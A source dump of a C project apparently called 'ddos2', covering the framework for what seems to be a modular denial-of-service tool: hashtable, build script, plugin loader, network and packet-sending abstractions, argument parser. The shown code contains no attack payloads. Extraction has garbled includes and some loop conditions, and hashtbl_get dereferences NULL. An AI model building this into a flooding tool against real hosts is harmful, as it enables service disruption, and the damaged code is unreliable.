iterator->next=node; 68 | } 69 | _hashtbl_register(tbl,node); 70 | tbl->sz+=1; 71 | } 72 | 73 | void *hashtbl_get(hashtable *tbl, char *key){ 74 | unsigned long hash = _hash((unsigned char *)key, tbl->capacity); 75 | if(tbl->base[hash]==NULL){ 76 | return false; 77 | }else{ 78 | _hashtable_node *iterator=tbl->base[hash]; 79 | while (iterator) { 80 | if(!strcmp(iterator->key, key)){ 81 | return iterator->value; 82 | } 83 | iterator=iterator->next; 84 | } 85 | assert(iterator&&!strcmp(iterator->key,key)); 86 | return iterator->value; 87 | } 88 | } 89 | 90 | bool hashtbl_check_key(hashtable *tbl,char *key){ 91 | unsigned long hash = _hash((unsigned char *)key, tbl->capacity); 92 | if(tbl->base[hash]==NULL){ 93 | return false; 94 | }else{ 95 | _hashtable_node *iterator=tbl->base[hash]; 96 | while (iterator) { 97 | if(!strcmp(iterator->key, key)){ 98 | return true; 99 | } 100 | iterator=iterator->next; 101 | } 102 | return false; 103 | } 104 | } 105 | 106 | void hastbl_destroy(hashtable *tbl){ 107 | assert(tbl!=NULL); 108 | int i=0; 109 | _hashtable_node *iterator=NULL; 110 | _hashtable_node *next=NULL; 111 | 112 | for(;icapacity;++i){ 113 | iterator=tbl->base[i]; 114 | if(!iterator){ 115 | continue; 116 | } 117 | next=iterator->next; 118 | free(iterator); 119 | iterator=next; 120 | while(iterator!=NULL){ 121 | next=iterator->next; 122 | free(iterator); 123 | iterator=next; 124 | } 125 | } 126 | } 127 | -------------------------------------------------------------------------------- /src/hashtable.c: -------------------------------------------------------------------------------- 1 | // 2 | // hashtable.c 3 | // ddos2 4 | // 5 | // Created by Andre Zay on 08/07/2019. 6 | // Copyright © 2019 Andre Zay. All rights reserved. 7 | #include "hashtable.h" 8 | 9 | #include "array.h" 10 | //For debug 11 | #include "message.h" 12 | 13 | #include 14 | #include 15 | #include 16 | #include 17 | 18 | unsigned long __hash(unsigned char *str) //djb2 hash by Dan Bernstein 19 | { 20 | unsigned long hash = 5381; 21 | int c; 22 | 23 | while ((c = *str++)){ 24 | hash = ((hash << 5) + hash) + c; /* hash * 33 + c */ 25 | } 26 | 27 | return hash; 28 | } 29 | 30 | unsigned long _hash(unsigned char *str, size_t mod){ //wrapper 31 | return __hash(str)%mod; 32 | } 33 | 34 | void _hashtbl_register(hashtable *tbl,_hashtable_node *node){ 35 | array_add(tbl->keys, node->key);//add key to keys storage 36 | array_add(tbl->values, node->value);//add value to values storage 37 | } 38 | 39 | _hashtable_node *create_node(char *_key,void *_data){ 40 | _hashtable_node *node=malloc(sizeof(_hashtable_node)); 41 | node->next=NULL; 42 | node->value=_data; 43 | node->key=(char *)malloc(sizeof(char)*strlen(_key)+sizeof(char)); 44 | strcpy(node->key, _key); 45 | return node; 46 | } 47 | 48 | 49 | hashtable *hashtbl_create(size_t capacity){ 50 | hashtable *_tbl=(hashtable *)malloc(sizeof(hashtable)); 51 | _tbl->capacity = capacity; 52 | _tbl->sz = 0; 53 | _tbl->base = (_hashtable_node **)malloc(sizeof(_hashtable_node *)*capacity); 54 | _tbl->keys = array_create(1); 55 | _tbl->values = array_create(1); 56 | bzero(_tbl->base, capacity*sizeof(_hashtable_node*)); 57 | return _tbl; 58 | } 59 | 60 | void hashtbl_add(hashtable *tbl, char *key, void *data){ 61 | unsigned long hash = _hash((unsigned char*)key, tbl->capacity); 62 | _hashtable_node *node=create_node(key, data); 63 | if(tbl->base[hash]==NULL){ //If we have not used this hash 64 | tbl->base[hash]=node; //add node directly. 65 | }else{ 66 | _hashtable_node *iterator=tbl->base[hash]; //We used this hash so we need to attach node to last node asscoiated with this hash. 67 | while (iterator->next!=NULL) { 68 | iterator=iterator->next; 69 | } 70 | iterator->next=node; 71 | } 72 | _hashtbl_register(tbl,node); 73 | tbl->sz+=1; 74 | } 75 | 76 | void *hashtbl_get(hashtable *tbl, char *key){ 77 | unsigned long hash = _hash((unsigned char *)key, tbl->capacity); 78 | if(tbl->base[hash]==NULL){ 79 | return false; 80 | }else{ 81 | _hashtable_node *iterator=tbl->base[hash]; 82 | while (iterator) { 83 | if(!strcmp(iterator->key, key)){ 84 | return iterator->value; 85 | } 86 | iterator=iterator->next; 87 | } 88 | assert(iterator&&!strcmp(iterator->key,key)); 89 | return iterator->value; 90 | } 91 | } 92 | 93 | bool hashtbl_check_key(hashtable *tbl,char *key){ 94 | unsigned long hash = _hash((unsigned char *)key, tbl->capacity); 95 | if(tbl->base[hash]==NULL){ 96 | return false; 97 | }else{ 98 | _hashtable_node *iterator=tbl->base[hash]; 99 | while (iterator) { 100 | if(!strcmp(iterator->key, key)){ 101 | return true; 102 | } 103 | iterator=iterator->next; 104 | } 105 | return false; 106 | } 107 | } 108 | 109 | void hastbl_destroy(hashtable *tbl){ 110 | assert(tbl!=NULL); 111 | int i=0; 112 | _hashtable_node *iterator=NULL; 113 | _hashtable_node *next=NULL; 114 | 115 | for(;icapacity;++i){ 116 | iterator=tbl->base[i]; 117 | if(!iterator){ 118 | continue; 119 | } 120 | next=iterator->next; 121 | free(iterator); 122 | iterator=next; 123 | while(iterator!=NULL){ 124 | next=iterator->next; 125 | free(iterator); 126 | iterator=next; 127 | } 128 | } 129 | } 130 | -------------------------------------------------------------------------------- /library/libddos2/build.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | # build.sh 4 | # ddos2 5 | # 6 | # Created by Andre Zay on 16/01/2020. 7 | # Copyright © 2020 Andre Zay. All rights reserved. 8 | 9 | #!/bin/bash 10 | cd $(dirname `which $0`) 11 | 12 | # Colors 13 | if test -t 1; then 14 | bold=$(tput bold) 15 | normal=$(tput sgr0) 16 | red=$(tput setaf 1) 17 | green=$(tput setaf 2) 18 | blue=$(tput setaf 4) 19 | yellow=$(tput setaf 11) 20 | else 21 | echo "[!]: No colors will be available: not supported." 22 | fi 23 | 24 | error(){ 25 | echo "${bold}${red}[-]:${normal}${1}" 26 | } 27 | 28 | success(){ 29 | echo "${bold}${green}[+]:${normal}${1}" 30 | } 31 | 32 | warn(){ 33 | echo "${bold}${yellow}[!]:${normal}${1}" 34 | } 35 | 36 | info(){ 37 | echo "${bold}${blue}[*]:${normal}${1}" 38 | } 39 | 40 | exec(){ 41 | info "${1}" 42 | eval "${1}" 43 | code=$? 44 | if [ ! $code -eq 0 ]; then 45 | error "Exec: ${1} failed with non-zero exit code: ${code}" 46 | exit -1 47 | fi 48 | } 49 | 50 | require_directory(){ # Creates directory if not exist 51 | if [ ! -d $1 ]; then 52 | warn "Directory not found: ${1}. Will create it now." 53 | exec "mkdir ${1}" 54 | fi 55 | } 56 | 57 | change_dir(){ 58 | if [ ! -d $1 ]; then 59 | error "No such directory: ${1}" 60 | exit -1 61 | fi 62 | info "Entering directory: ${1}" 63 | cd $1 64 | } 65 | 66 | leave_dir(){ 67 | info "Leaving directory: $(pwd)" 68 | cd $BASEDIR 69 | } 70 | 71 | check_equal(){ 72 | printf "${bold}${blue}[*]:${normal}Checking equality: ${1} and ${2}..." 73 | if ! cmp $1 $2 >/dev/null 2>&1 74 | then 75 | printf "${bold}${red}FAILED${normal}\n" 76 | return -1 77 | fi 78 | printf "${bold}${green}OK${normal}\n" 79 | return 0 80 | } 81 | 82 | require_equal(){ 83 | check_equal $1 $2 84 | local r=$? 85 | if [ ! $r -eq 0 ]; then 86 | error "Files ${1} and ${2} are not equal." 87 | exit -1 88 | fi 89 | } 90 | 91 | check_command(){ 92 | printf "${bold}${blue}[*]:${normal}Checking that ${1} avail..." 93 | if ! [ -x "$(command -v ${1})" ]; then 94 | printf "${bold}${red}FAILED${normal}\n" 95 | return -1 96 | fi 97 | printf "${bold}${green}OK${normal}\n" 98 | return 0 99 | } 100 | 101 | require_command(){ 102 | check_command $1 103 | local r=$? 104 | if [ ! $r -eq 0 ]; then 105 | error "Command ${1} is not avail." 106 | exit -1 107 | fi 108 | } 109 | 110 | if [ $# -eq 0 ]; then 111 | error "Please specify target. Use -h option for help." 112 | exit -1 113 | fi 114 | 115 | if [[ $1 == "-h" ]]; then 116 | echo "Usage:"$0" <-h> [all|debug|release]" 117 | echo "-h Display this help message and exit." 118 | echo "debug Build in debug mode" 119 | echo "release Build in release mode" 120 | echo "check Check that build is possible" 121 | exit 0 122 | fi 123 | 124 | BASEDIR=`pwd` 125 | CC="gcc" 126 | CFLAGS="-c -I${BASEDIR} -Wall -fPIC" 127 | LD="ar" 128 | LD_FLAGS="-rs" 129 | OBJ_DIR="../../obj/" 130 | BIN_DIR="../../lib/" 131 | 132 | OUTPUT="libddos2.a" 133 | 134 | declare -a SOURCES=("network" "hashtable" "array" "cache" "arguments" "ddos2" "message") 135 | 136 | target_check(){ 137 | info "Checking libddos2" 138 | info "Checking headers" 139 | for file in "${SOURCES[@]}" 140 | do 141 | require_equal "${file}.h" "../include/ddos2/${file}.h" 142 | done 143 | require_command $CC 144 | require_command $LD 145 | } 146 | target_debug(){ 147 | CC="gcc-9" 148 | 149 | require_command $CC 150 | 151 | info "Building libddos2 in debug mode." 152 | require_directory $OBJ_DIR 153 | require_directory $BIN_DIR 154 | require_directory $MODULES_BIN 155 | leave_dir 156 | for file in "${SOURCES[@]}" 157 | do 158 | exec "${CC} ${CFLAGS} ${file}.c -o ${OBJ_DIR}${file}.o" 159 | done 160 | change_dir $OBJ_DIR 161 | objects=$(printf " %s.o" "${SOURCES[@]}") 162 | exec "${LD} ${LD_FLAGS} ${BASEDIR}/${BIN_DIR}${OUTPUT} ${objects}" 163 | leave_dir 164 | } 165 | 166 | target_release(){ 167 | target_check 168 | 169 | info "Building libddos2." 170 | require_directory $OBJ_DIR 171 | require_directory $BIN_DIR 172 | require_directory $MODULES_BIN 173 | leave_dir 174 | for file in "${SOURCES[@]}" 175 | do 176 | exec "${CC} ${CFLAGS} -Ofast ${file}.c -o ${OBJ_DIR}${file}.o" 177 | done 178 | change_dir $OBJ_DIR 179 | objects=$(printf " %s.o" "${SOURCES[@]}") 180 | exec "${LD} ${LD_FLAGS} ${BASEDIR}/${BIN_DIR}${OUTPUT} ${objects}" 181 | leave_dir 182 | } 183 | 184 | if [[ `type -t "target_${1}"` == "function" ]]; then 185 | eval "target_${1}" 186 | success "Done." 187 | else 188 | error "No such target:${1}." 189 | fi 190 | 191 | -------------------------------------------------------------------------------- /src/module.c: -------------------------------------------------------------------------------- 1 | // 2 | // module.c 3 | // ddos2 4 | // 5 | // Created by Andre Zay on 16/01/2020. 6 | // Copyright © 2020 Andre Zay. All rights reserved. 7 | // 8 | 9 | #include "module.h" 10 | 11 | #include "message.h" 12 | #include "config.h" 13 | #include "arguments.h" 14 | #include "commons.h" 15 | #include "network.h" 16 | 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | 23 | hashtable* modules; 24 | program_config_t *p_config; 25 | 26 | void modules_begin(void){ 27 | modules=hashtbl_create(HASHTBL_CAPACITY); 28 | p_config=(program_config_t*)malloc(sizeof(program_config_t)); 29 | } 30 | 31 | void modules_configure(const char* version){ 32 | p_config->arguments=arguments; 33 | p_config->log_byte=&log_level; 34 | p_config->version=version; 35 | p_config->network_ifaces=network_ifaces; 36 | p_config->net_stats=network_statistics; 37 | p_config->cache=cache; 38 | } 39 | 40 | void module_register_arguments(array_t* _arguments){ 41 | size_t i=0; 42 | for(;i<_arguments->sz;i++){ 43 | _register_argument((argument_t*)_arguments->base[i]); 44 | } 45 | } 46 | 47 | module_t* module_load(char* path){ 48 | char* _error; 49 | module_t *module=(module_t*)malloc(sizeof(module_t)); 50 | module->handle=dlopen(path, RTLD_LAZY); 51 | if (!module->handle) { 52 | error("Loading module %s failed: %s",path,dlerror()); 53 | return NULL; 54 | } 55 | /*Load functions*/ 56 | _MOD_IMPORT_FUNCTION("mod_on_load", mod_on_load); 57 | _MOD_IMPORT_FUNCTION("mod_on_init", mod_on_init); 58 | _MOD_IMPORT_FUNCTION("mod_on_run", mod_on_run); 59 | 60 | /*Configure*/ 61 | module_config_t* config=(module->mod_on_load)(p_config); 62 | if(!config){ 63 | error("Programming error: config==NULL!Check that your module work properly.Called function: mod_on_load(). File: %s.(%s:%d)",path,__FILE__,__LINE__); 64 | return NULL; 65 | } 66 | /* Set params */ 67 | _MOD_STR_SET(name, config->name); 68 | _MOD_STR_SET(author, config->author); 69 | _MOD_STR_SET(version, config->version); 70 | _MOD_STR_SET(description, config->description); 71 | _MOD_STR_SET(filename, path); 72 | /*Register module*/ 73 | hashtbl_add(modules, module->name, module); 74 | 75 | debug("Loaded: %s",path); 76 | 77 | /* Free config since it used only in module initialization */ 78 | free(config->author); 79 | free(config->description); 80 | free(config->name); 81 | free(config->version); 82 | free(config); 83 | 84 | return module; 85 | } 86 | 87 | void module_summary(module_t *module){ 88 | printf("%sMODULE NAME:%s %s\n",BOLD,ENDC,module->name); 89 | _MOD_SUMMARY_PRINT("VERSION", version); 90 | _MOD_SUMMARY_PRINT("AUTHOR", author); 91 | _MOD_SUMMARY_PRINT("DESCRIPTION", description); 92 | _MOD_SUMMARY_PRINT("FILENAME", filename); 93 | } 94 | 95 | void modules_load(char* path){ 96 | if(!modules){ 97 | error("Programming error: modules==NULL! Have you called modules_begin()?"); 98 | return ; 99 | } 100 | DIR* directory; 101 | struct dirent* file; 102 | directory=opendir(path); 103 | if(directory==NULL){ 104 | die("Could not open modules directory: %s(%d).",strerror(errno),errno); 105 | } 106 | file=readdir(directory); 107 | //FIXED: Incorrect path to file: need to concat modules path and module name 108 | while (file!=NULL) { 109 | /* Get full filename */ 110 | char* fname=(char*)malloc(sizeof(char)*(strlen(MODULES_DIR)+strlen(file->d_name)+2)); 111 | strcpy(fname, MODULES_DIR); 112 | strcat(fname, file->d_name); 113 | /* Load module if file was found */ 114 | if(is_regular_file(fname)){ 115 | debug("Loading module:%s",fname); 116 | if(!module_load(fname)){ 117 | warn("Module %s was not loaded!", fname); 118 | } 119 | }else{ 120 | debug_warn("Omitting non-regular file:%s",fname); 121 | } 122 | file=readdir(directory); 123 | } 124 | } 125 | 126 | void modules_list(void){ 127 | int i=0; 128 | printf("%-25s%-10s%-20s\n", "Name", "Version", "Author"); 129 | for(;isz;++i){ 130 | module_t* module = (module_t*)modules->values->base[i]; 131 | printf("%-25s%-10s%-20s\n", module->name, module->version, module->author); 132 | } 133 | } 134 | 135 | bool module_loaded(char* name){ 136 | return hashtbl_check_key(modules, name); 137 | } 138 | 139 | module_t* module_get(char* name){ 140 | if(!module_loaded(name)){ 141 | error("Programming error: module %s was not loaded!(%s:%d)",__FILE__,__LINE__); 142 | } 143 | return hashtbl_get(modules, name); 144 | } 145 | 146 | void modules_on_init(void){ 147 | int i=0; 148 | for(;isz;++i){ 149 | module_t* module = (module_t*)modules->values->base[i]; 150 | module->mod_on_init(); 151 | } 152 | } 153 | 154 | -------------------------------------------------------------------------------- /library/libddos2/network.c: -------------------------------------------------------------------------------- 1 | // 2 | // network.c 3 | // ddos2 4 | // 5 | // Created by Andre Zay on 20/01/2020. 6 | // Copyright © 2020 Andre Zay. All rights reserved. 7 | // 8 | 9 | #include "network.h" 10 | #include "arguments.h" 11 | #include "message.h" 12 | #include "hashtable.h" 13 | 14 | #include 15 | #include 16 | #include 17 | 18 | hashtable* network_ifaces=NULL; 19 | bool stats=true; 20 | 21 | void network_begin(hashtable* ifaces, bool _stats){ 22 | network_ifaces=ifaces; 23 | stats=_stats; 24 | } 25 | 26 | void network_set_stats(bool stat){//Sets wheteher we need to collect interface statisitcs 27 | stats=stat; 28 | } 29 | 30 | iface_t* network_iface(char* name){ 31 | iface_t* iface=(iface_t*)malloc(sizeof(iface_t)); 32 | iface->name=(char*)malloc(sizeof(char)*strlen(name)+sizeof(char)); 33 | strcpy(iface->name, name); 34 | iface->bytes_sent=0; 35 | iface->packets_sent=0; 36 | iface->connection_close=NULL; 37 | iface->connection_open=NULL; 38 | iface->packet_send=NULL; 39 | iface->packet_receive=NULL; 40 | return iface; 41 | } 42 | void register_iface(iface_t* iface){ 43 | if(!network_ifaces){ 44 | error("Programming error: network_ifaces==NULL! Have you called network_begin()?"); 45 | return ; 46 | } 47 | hashtbl_add(network_ifaces, iface->name, iface); 48 | debug("Registered network interface: %s",iface->name); 49 | } 50 | 51 | connection_t* connection_open(iface_t* iface, char* target){ 52 | if(!iface){ 53 | error("Programming error: %s: Bad argument: iface(%s:%d)",__FUNCTION__,__FILE__,__LINE__); 54 | return NULL; 55 | } 56 | if(!iface->connection_open){ 57 | error("Programming error: Interface %s does not support openning connections.",iface->name); 58 | return NULL; 59 | } 60 | connection_t* connection=iface->connection_open(target); 61 | if(!connection){ 62 | debug_warn("NULL as connection was returned!"); 63 | return NULL; 64 | } 65 | connection->iface=iface; 66 | return connection; 67 | } 68 | 69 | bool connection_close(connection_t* connection){ 70 | if(!connection){ 71 | error("Programming error: %s: Bad argument: connection(%s:%d)",__FUNCTION__,__FILE__,__LINE__); 72 | return false; 73 | } 74 | bool result = connection->iface->connection_close(connection); 75 | free(connection); 76 | return result; 77 | } 78 | 79 | bool _packet_send(packet_t* packet){ 80 | if(!packet){ 81 | error("Programming error: %s: Bad argument: packet is NULL(%s:%d)",__FUNCTION__,__FILE__,__LINE__); 82 | return false; 83 | } 84 | if(!packet->iface){ 85 | error("Programming error: %s: Bad argument: packet->iface is NULL(%s:%d)",__FUNCTION__,__FILE__,__LINE__); 86 | return false; 87 | } 88 | if(!packet->iface->packet_send){ 89 | error("Programming error: %s: Not supported: Interface %s does not support packet_send(%s:%d)",__FUNCTION__,__FILE__,__LINE__); 90 | return false; 91 | } 92 | if(stats){ 93 | packet->iface->bytes_sent+=packet->sz; 94 | packet->iface->packets_sent++; 95 | } 96 | return packet->iface->packet_send(packet); 97 | } 98 | 99 | bool packet_send(iface_t* iface, packet_t* packet){ 100 | if(!packet){ 101 | error("Programming error: %s: Bad argument: packet is NULL(%s:%d)",__FUNCTION__,__FILE__,__LINE__); 102 | return false; 103 | } 104 | packet->iface=iface; 105 | return _packet_send(packet); 106 | } 107 | 108 | packet_t* packet_receive(connection_t* connection){ 109 | if(!connection){ 110 | error("Programming error: %s: Bad argument: connection is NULL(%s:%d)",__FUNCTION__,__FILE__,__LINE__); 111 | return NULL; 112 | } 113 | if(!connection->iface){ 114 | error("Programming error: %s: Bad argument: connection is NULL(%s:%d)",__FUNCTION__,__FILE__,__LINE__); 115 | return NULL; 116 | } 117 | if(!connection->iface->packet_receive){ 118 | error("Programming error: Interface %s does not support openning connections.",connection->iface->name); 119 | return NULL; 120 | } 121 | 122 | return connection->iface->packet_receive(connection); 123 | } 124 | 125 | packet_t* packet_create(char* target, void* payload,size_t sz){ 126 | packet_t* packet=(packet_t*)malloc(sizeof(packet_t)); 127 | packet->target=target;//No copying for optimization 128 | packet->payload=payload; 129 | packet->sz=sz; 130 | packet->options=hashtbl_create(1);//Also for optimization 131 | packet->open_connection=false; 132 | packet->connection=NULL; 133 | return packet; 134 | } 135 | 136 | packet_t* packet_listen(iface_t* iface){ 137 | if(!iface){ 138 | error("Programming error: %s: Bad argument: connection is NULL(%s:%d)",__FUNCTION__,__FILE__,__LINE__); 139 | return NULL; 140 | } 141 | if(!iface->packet_listen){ 142 | error("Programming error: Interface %s does not support listening.",iface->name); 143 | return NULL; 144 | } 145 | 146 | return iface->packet_listen(iface); 147 | } 148 | 149 | connection_t* connection_wait(iface_t* iface, int port){ 150 | if(!iface){ 151 | error("Programming error: %s: Bad argument: connection is NULL(%s:%d)",__FUNCTION__,__FILE__,__LINE__); 152 | return NULL; 153 | } 154 | if(!iface->connection_wait){ 155 | error("Programming error: Interface %s does not support waiting for connection.",iface->name); 156 | return NULL; 157 | } 158 | 159 | return iface->connection_wait(iface, port); 160 | } 161 | 162 | bool check_iface(char* name){ //Checks interface is available 163 | return hashtbl_check_key(network_ifaces,name); 164 | } 165 | 166 | iface_t* get_iface(char* name){ //Returns interface by name 167 | return (iface_t*)hashtbl_get(network_ifaces,name); 168 | } 169 | 170 | array_t* list_ifaces(void){ 171 | return network_ifaces->values; 172 | } 173 | 174 | -------------------------------------------------------------------------------- /src/network.c: -------------------------------------------------------------------------------- 1 | 2 | // 3 | // network.c 4 | // ddos2 5 | // 6 | // Created by Andre Zay on 20/01/2020. 7 | // Copyright © 2020 Andre Zay. All rights reserved. 8 | // 9 | 10 | #include "network.h" 11 | #include "arguments.h" 12 | #include "message.h" 13 | #include "config.h" 14 | 15 | #include 16 | #include 17 | #include 18 | 19 | hashtable* network_ifaces=NULL; 20 | bool network_statistics=true; 21 | 22 | void network_begin(void){ 23 | network_ifaces=hashtbl_create(HASHTBL_CAPACITY); 24 | } 25 | 26 | void network_set_stats(bool stat){//Sets wheteher we need to collect interface statisitcs 27 | network_statistics=stat; 28 | } 29 | 30 | iface_t* network_iface(char* name){ 31 | iface_t* iface=(iface_t*)malloc(sizeof(iface_t)); 32 | iface->name=(char*)malloc(sizeof(char)*strlen(name)+sizeof(char)); 33 | strcpy(iface->name, name); 34 | iface->bytes_sent=0; 35 | iface->packets_sent=0; 36 | iface->connection_close=NULL; 37 | iface->connection_open=NULL; 38 | iface->packet_send=NULL; 39 | iface->packet_receive=NULL; 40 | iface->connection_wait=NULL; 41 | iface->packet_listen=NULL; 42 | return iface; 43 | } 44 | 45 | void register_iface(iface_t* iface){ 46 | if(!network_ifaces){ 47 | error("Programming error: network_ifaces==NULL! Have you called network_begin()?"); 48 | return ; 49 | } 50 | hashtbl_add(network_ifaces, iface->name, iface); 51 | debug("Registered network interface: %s",iface->name); 52 | #if DEBUG 53 | if(!iface->connection_close){ 54 | warn("Interface %s does not support connection_close(%s:%d)",iface->name,__FILE__,__LINE__); 55 | } 56 | if(!iface->connection_open){ 57 | warn("Interface %s does not support connection_open(%s:%d)",iface->name,__FILE__,__LINE__); 58 | } 59 | if(!iface->packet_send){ 60 | warn("Interface %s does not support packet_send(%s:%d)",iface->name,__FILE__,__LINE__); 61 | } 62 | if(!iface->packet_receive){ 63 | warn("Interface %s does not support packet_receive(%s:%d)",iface->name,__FILE__,__LINE__); 64 | } 65 | #endif 66 | } 67 | 68 | connection_t* connection_open(iface_t* iface, char* target){ 69 | if(!iface){ 70 | error("Programming error: %s: Bad argument: iface(%s:%d)",__FUNCTION__,__FILE__,__LINE__); 71 | return NULL; 72 | } 73 | if(!iface->connection_open){ 74 | error("Programming error: Interface %s does not support openning connections.",iface->name); 75 | return NULL; 76 | } 77 | connection_t* connection=iface->connection_open(target); 78 | connection->iface=iface; 79 | return connection; 80 | } 81 | 82 | bool connection_close(connection_t* connection){ 83 | if(!connection){ 84 | error("Programming error: %s: Bad argument: connection(%s:%d)",__FUNCTION__,__FILE__,__LINE__); 85 | return false; 86 | } 87 | bool result = connection->iface->connection_close(connection); 88 | free(connection); 89 | return result; 90 | } 91 | 92 | bool _packet_send(packet_t* packet){ 93 | if(!packet){ 94 | error("Programming error: %s: Bad argument: packet is NULL(%s:%d)",__FUNCTION__,__FILE__,__LINE__); 95 | return false; 96 | } 97 | if(!packet->iface){ 98 | error("Programming error: %s: Bad argument: packet->iface is NULL(%s:%d)",__FUNCTION__,__FILE__,__LINE__); 99 | return false; 100 | } 101 | if(!packet->iface->packet_send){ 102 | error("Programming error: %s: Not supported: Interface %s does not support packet_send(%s:%d)",__FUNCTION__,__FILE__,__LINE__); 103 | return false; 104 | } 105 | if(network_statistics){ 106 | packet->iface->bytes_sent+=packet->sz; 107 | packet->iface->packets_sent++; 108 | } 109 | return packet->iface->packet_send(packet); 110 | } 111 | 112 | bool packet_send(iface_t* iface, packet_t* packet){ 113 | if(!packet){ 114 | error("Programming error: %s: Bad argument: packet is NULL(%s:%d)",__FUNCTION__,__FILE__,__LINE__); 115 | return false; 116 | } 117 | packet->iface=iface; 118 | return _packet_send(packet); 119 | } 120 | 121 | packet_t* packet_receive(connection_t* connection){ 122 | if(!connection){ 123 | error("Programming error: %s: Bad argument: connection is NULL(%s:%d)",__FUNCTION__,__FILE__,__LINE__); 124 | return NULL; 125 | } 126 | if(!connection->iface){ 127 | error("Programming error: %s: Bad argument: connection is NULL(%s:%d)",__FUNCTION__,__FILE__,__LINE__); 128 | return NULL; 129 | } 130 | if(!connection->iface->packet_receive){ 131 | error("Programming error: Interface %s does not support receiving connection..",connection->iface->name); 132 | return NULL; 133 | } 134 | 135 | return connection->iface->packet_receive(connection); 136 | } 137 | 138 | packet_t* packet_listen(iface_t* iface){ 139 | if(!iface){ 140 | error("Programming error: %s: Bad argument: connection is NULL(%s:%d)",__FUNCTION__,__FILE__,__LINE__); 141 | return NULL; 142 | } 143 | if(!iface->packet_listen){ 144 | error("Programming error: Interface %s does not support listening.",iface->name); 145 | return NULL; 146 | } 147 | 148 | return iface->packet_listen(iface); 149 | } 150 | 151 | connection_t* connection_wait(iface_t* iface, int port){ 152 | if(!iface){ 153 | error("Programming error: %s: Bad argument: connection is NULL(%s:%d)",__FUNCTION__,__FILE__,__LINE__); 154 | return NULL; 155 | } 156 | if(!iface->connection_wait){ 157 | error("Programming error: Interface %s does not support waiting for connection.",iface->name); 158 | return NULL; 159 | } 160 | 161 | return iface->connection_wait(iface, port); 162 | } 163 | 164 | void network_print_ifaces(void){ 165 | printf("Currently available network interfaces:"); 166 | size_t i=0; 167 | for(;ivalues->sz;++i){ 168 | iface_t* it=(iface_t*)network_ifaces->values->base[i]; 169 | if(i==network_ifaces->values->sz-1){ 170 | printf("%s\n",it->name); 171 | continue; 172 | }else{ 173 | printf("%s,",it->name); 174 | } 175 | } 176 | } 177 | -------------------------------------------------------------------------------- /src/arguments.c: -------------------------------------------------------------------------------- 1 | // 2 | // arguments.c 3 | // ddos2 4 | // 5 | // Created by Andre Zay on 16/01/2020. 6 | // Copyright © 2020 Andre Zay. All rights reserved. 7 | // 8 | 9 | #include "arguments.h" 10 | #include "message.h" 11 | #include "config.h" 12 | 13 | #include 14 | #include 15 | 16 | hashtable* arguments=NULL; 17 | char* usage=NULL; 18 | 19 | void arguments_begin(void){ 20 | arguments=hashtbl_create(HASHTBL_CAPACITY); 21 | argument_add("--help", "Show help message.", ARG_BOOL, argbool(false), false, true); 22 | } 23 | 24 | bool _argcheck(char *name){ 25 | if(!arguments){ 26 | die("Programming error: arguments==NULL!Have you called arguments_begin()?(%s:%d)"); 27 | } 28 | return hashtbl_check_key(arguments, name); 29 | } 30 | 31 | void _register_argument(argument_t *argument){ 32 | if(!arguments){ 33 | die("Programming error: arguments==NULL!Have you called arguments_begin()?(%s:%d)"); 34 | } 35 | if(!hashtbl_check_key(arguments, argument->name)){ 36 | hashtbl_add(arguments, argument->name, argument); 37 | }else{ 38 | warn("Programming warning: Will not register argument `%s` – already registered(%s:%d)", argument->name,__FILE__, __LINE__); 39 | } 40 | } 41 | 42 | 43 | argument_t *argument_create(char* name, char* description, argtype type, bool compulsory, argvalue _default,bool has_default_value, bool is_help, bool array){ 44 | argument_t* argument=(argument_t*)malloc(sizeof(argument_t)); 45 | argument->name=(char*)malloc(sizeof(char)*(strlen(name)+1)); 46 | argument->description=(char*)malloc(sizeof(char)*(strlen(description)+1)); 47 | strcpy(argument->name, name); 48 | strcpy(argument->description, description); 49 | argument->type=type; 50 | argument->compulsory=compulsory; 51 | argument->value=_default; 52 | argument->is_set=has_default_value; 53 | argument->is_help=is_help; 54 | argument->values=NULL; 55 | if(array){ 56 | argument->values=array_create(1); 57 | } 58 | return argument; 59 | } 60 | 61 | void argument_add_compulsory(char* name, char* description, argtype type){ 62 | /* Adds compulsory argument 63 | name – Name of an argument 64 | description – description of an argument 65 | type – type of an argument. 66 | */ 67 | if(_argcheck(name)){ 68 | die("Programming error: rewriting argument: %s.(%s:%d)",name,__FILE__,__LINE__); 69 | } 70 | argvalue stub=argint(0); 71 | argument_t *argument=argument_create(name, description, type, true, stub, false, false, false); 72 | _register_argument(argument); 73 | } 74 | 75 | void argument_add(char* name, char* description, argtype type, argvalue _default, bool has_default_value, bool is_help){ 76 | /* 77 | name – Name of an argument 78 | description – description of an argument 79 | type – type of an argument. 80 | _default – default value 81 | has_default_value – set true if _default is not stub 82 | is_help – whether argument is used to show help information 83 | */ 84 | if(_argcheck(name)){ 85 | die("Programming error: rewriting argument: %s.(%s:%d)",name,__FILE__,__LINE__); 86 | } 87 | argument_t *argument=argument_create(name, description, type, false, _default, has_default_value, is_help, false); 88 | _register_argument(argument); 89 | } 90 | 91 | void argument_add_array(char* name, char* description,argtype type, bool compulsory){ 92 | /* Adds argument that creates array of argvalue's 93 | name – Name of an argument 94 | description – description of an argument 95 | type – type of an argument. ARG_BOOL obviously not supported. 96 | compulosry – whether argument needs at least 1 value 97 | */ 98 | argument_t* argument=argument_create(name, description, type, compulsory, argbool(false), false, false, true); 99 | _register_argument(argument); 100 | } 101 | 102 | argument_t* argument_get(char *name){ 103 | /* Get argument instance 104 | name – name of arguments*/ 105 | if(!_argcheck(name)){ 106 | die("Programming error: Requested unknown argument: %s.(%s:%d).",name,__FILE__,__LINE__); 107 | } 108 | return (argument_t*)hashtbl_get(arguments, name); 109 | } 110 | 111 | bool argument_check(char *name){ 112 | /* checks whether argument was set*/ 113 | argument_t *argument=argument_get(name); 114 | return argument->is_set; 115 | } 116 | 117 | argvalue argument_value_get(char *name){ 118 | /* get argument value */ 119 | argument_t *argument=argument_get(name); 120 | return argument->value; 121 | } 122 | void arguments_parse(int argc, const char * argv[], int start){ 123 | /* Pasrses arguments 124 | argc – arguments count 125 | argv – arguments values 126 | start – number of argument from which to start parseing*/ 127 | if(!arguments){ 128 | die("Programming error: arguments==NULL!Have you called arguments_begin()?(%s:%d)"); 129 | } 130 | int i=start; 131 | bool help_flag=false;//This set iff some help argument is set 132 | //Parse 133 | while (iis_help){ 141 | help_flag=true; 142 | } 143 | if(argument->type==ARG_BOOL){ 144 | 